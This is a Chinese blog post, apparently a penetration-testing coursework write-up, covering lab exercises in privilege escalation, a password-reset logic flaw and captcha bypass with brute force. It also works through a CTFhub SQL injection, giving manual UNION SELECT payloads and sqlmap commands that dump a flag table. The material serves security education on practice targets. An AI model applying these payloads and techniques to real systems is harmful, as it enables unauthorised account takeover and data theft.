12-渗透测试

news/2024/11/30 10:46:30/文章来源:https://www.cnblogs.com/bokexiLu/p/18568347

1、水平越权&垂直越权漏洞实验

  • 水平越权

    • lucy用户登入成功后,将url的username参数由lucy改为kobe,即可查看到kobe的信息,实现水平越权

      image-20241125144750214

  • 垂直越权

    • 使用低权限用户pikachu访问添加用户页面,行使管理员admin用户的添加用户权限

      image-20241125145651348

    • 用户添加成功,实现垂直越权

      image-20241125145812672

2、密码修改逻辑漏洞实验

漏洞环境:docker run -d -p 8082:80 -p 33060:3306 area39/webug

  • 查看后端数据库信息,先登入普通用户aaaaa账号

    image-20241125150644515

  • 前端修改密码,发现未对旧密码进行校验,密码可以直接进行修改

    image-20241125150915889

  • 尝试抓包,观察id参数可以修改,推测管理员的id可能是1,修改后查看返回数据包发现修改成功

    image-20241125151752192

  • 来到后端,成功实现低权限用户对管理员admin密码的修改

    use webug;
    select * from user_test;
    

    image-20241125152246895

3、验证码安全

(1)验证码绕过(on client)+ 验证码绕过(on server)

  • on client

    • 由于验证码校验在前端,利用burp抓包可以绕过前端验证,实现密码爆破

      image-20241125153822946

      image-20241125154153643

    • admin用户的密码为123456

  • on server

    • 用burp抓包,多次进行密码修改提交,发现返回包始终提示“username or password is not exists”,证明验证码可以重复使用

      image-20241125155520098

    • 密码爆破,爆破出admin/123456

      image-20241125160011818

(2)验证码绕过(on server)实验中,为什么burp拦截开启的状态下,通过Repeater进行重放不会刷新验证码,关闭拦截后才会刷新验证码?

​ 因为存在两个请求数据包,第一个数据包是用来校验用户输入的验证码是否正确,第二个数据包是用来更新验证码。

​ 而开启burp拦截后,便一直处在第一个数据包中,所以并不会刷新验证码,关闭拦截后随着第一个请求数据包放过,第二请求数据包也接着放过,从而实现刷新验证码的操作。

4、CTFhub:SQL注入靶场,分别完成手工注入和Sqlmap工具注入的过程

  • 手工注入

    • 判断显示位1’ order by 2#超过2后不回显,,确定sql查询有两列

      image-20241125164940786

    • 确定显示位置,1和2均可显示

      image-20241125171858144

    • 查询数据库名,1' union all select 1,database()#——sqli

      image-20241125165414455

    • 查询sqli数据库的所有表名,-1' union all select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#——发现flag表

      image-20241125170637079

    • 查询flag表的所以字段名,-1' union all select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'#——flag

      image-20241125171156425

    • 查询sqli数据库中flag表里的flag字段具体信息-1' union all select 1,flag from sqli.flag#——ctfhub

      image-20241125171127013

  • sqlmap工具注入

    • burp抓取CTFHub的sql整数型请求数据包,将内容写在sqlmap目录下,使用-r参数进行注入

      image-20241125174749696

    • 获取库名python sqlmap.py -r 1.txt --batch --dbs

      image-20241125174951765

    • 获取sqli数据库的表名python sqlmap.py -r 1.txt --batch --dbs -D sqli --tables

      image-20241125175047659

    • 获取flag表的字段名python sqlmap.py -r 1.txt --batch --dbs -D sqli -T flag --columns

      image-20241125175139310

    • 获取flag字段的具体数据python sqlmap.py -r 1.txt --batch --dbs -D sqli -T flag -C flag --dump

      image-20241125175321406

    • 成功得到flag:ctfhub

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/840955.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vxe-modal 实现弹窗多窗口

官网:https://vxeui.com<template><div><p><vxe-button content="点击弹出" @click="openEvent"></vxe-button></p></div> </template><script> import { VxeUI } from vxe-pc-ui export default …

redis 流量增加过多问题排查解决

背景 Java项目,使用Redis集群。 现象 Redis集群,单台流量增加过多。 在redis服务器上:iftop -npP排查过程 发现流量上涨是同一台机器IP尾号3。到这台机器上查看。 top 命令查看进程idtop -H -p 1748 查看具体线程信息,可以看到,有三个线程执行100多小时,而且占用较多cpu…

RX23E-B系列微控制器是工业传感器设备的理想选择!R5F523E5B介绍,EFR32BG13P732F512GM48-D蓝牙/TH58NVG2S3HTAI0存储IC

RX23E-B系列微控制器是工业传感器设备的理想选择!R5F523E5B介绍,EFR32BG13P732F512GM48-D蓝牙/TH58NVG2S3HTAI0存储ICRX23E-B 系列微控制器具有内置模拟前端 (AFE),是工业传感器设备的理想选择。 与上一代的 RX23E-A 相比,RX23E-B 的24 位 Delta Sigma 模/数转换器在高速性…

100ASK_IMX6ULL-PRO 数码相框扩展项目:支持打开阅读 TXT 文件

背景说明 本篇内容基于百问网嵌入式Linux项目数码相框与文件浏览器和嵌入式Linux电子书阅读器 需求:在文件浏览器界面中支持双击打开TXT类型文件,进入新界面进行文本阅读和翻页控制。 实现思路说明 浏览器界面中响应双击操作,识别TXT类型文件成功后进入阅读器界面。可参考项…

mysql数据库聚合与拆分

1. 背景在用户使用的时候会有统计数据的情况,在多表联查的时候分类时会有,同一个类型出现多次,然后任务需区是出现一次类型名 2. 聚合查询 GROUP_CONCAT(聚合字段) group_by(聚合字段)SELECT report.serialNumber as 病人编号, GROUP_CONCAT(label.lableName) AS &q…

GIS与数字孪生融合:打造智能3D空域管理平台

在数字化转型的浪潮中,地理信息系统(GIS)技术正以其独特的空间分析能力,为城市规划和管理带来革命性的变化。今天,我们将探讨一个前沿话题:基于GIS技术的数字孪生3D空域规划与飞行信息管理平台。 什么是数字孪生?数字孪生,简而言之,就是物理世界中的实体在数字世界中的…

iOS内购——自动续订型会员

原文链接:https://blog.csdn.net/HMOnlyou/article/details/139446159 一、内购支付流程 用户选择商品,发起购买操作,支付完成(会从AppleID账号关联的支付宝/微信 /银行卡完成扣款); 拿到APP本地生成的票据信息发送到苹果服务器验证有效性。1)APP端可以直接向苹果服务器…

微信小游戏sdk接入支付和登录,解决了wx原生不支持ios支付的痛点

本文介绍了微信小游戏sdk登录支付的接入。支付又分为 android支付和 ios支付。由于微信小游戏内不支持ios支付, 通过引入客服会话的方式实现。 侧重于服务器方向,对于复杂的验证签名、解密算法部分提供了Go版本的代码支持【原创】前情提要 微信小游戏是小程序的一种。 项目接入…

vxe-form table 表单修改数据校验错误提示的样式

官网:https://vxeui.com<template><div><vxe-formv-bind="formOptions"@submit="submitEvent"@reset="resetEvent"></vxe-form></div> </template><script> import { VxeUI } from vxe-pc-uiexport …

vxe-form table 设置表单上下布局

官网:https://vxeui.com<template><div><vxe-formv-bind="formOptions"@submit="submitEvent"@reset="resetEvent"></vxe-form></div> </template><script> import { VxeUI } from vxe-pc-uiexport …

LeetCode19 删除链表的倒数第 N 个结点

删除链表的倒数第 N 个结点LeetCode19 删除链表的倒数第 N 个结点 题目链接:LeetCode19 描述 给你一个链表,删除链表的倒数第 n 个结点,并且返回链表的头结点。示例输入:head = [1,2,3,4,5], n = 2 输出:[1,2,3,5]思路定义fast指针和slow指针,初始值为虚拟头结点 fast首先…

法律咨询行业知识库构建:数字化与智能工具的应用

在法律咨询行业中,构建高效、准确的知识库对于提升服务质量、优化客户体验至关重要。随着数字化转型的推进,数字化知识库已成为法律咨询行业发展的重要方向。本文将探讨法律咨询行业知识库构建的重要性、挑战,并介绍如何利用“HelpLook”工具实现数字化知识库的构建。 一、法…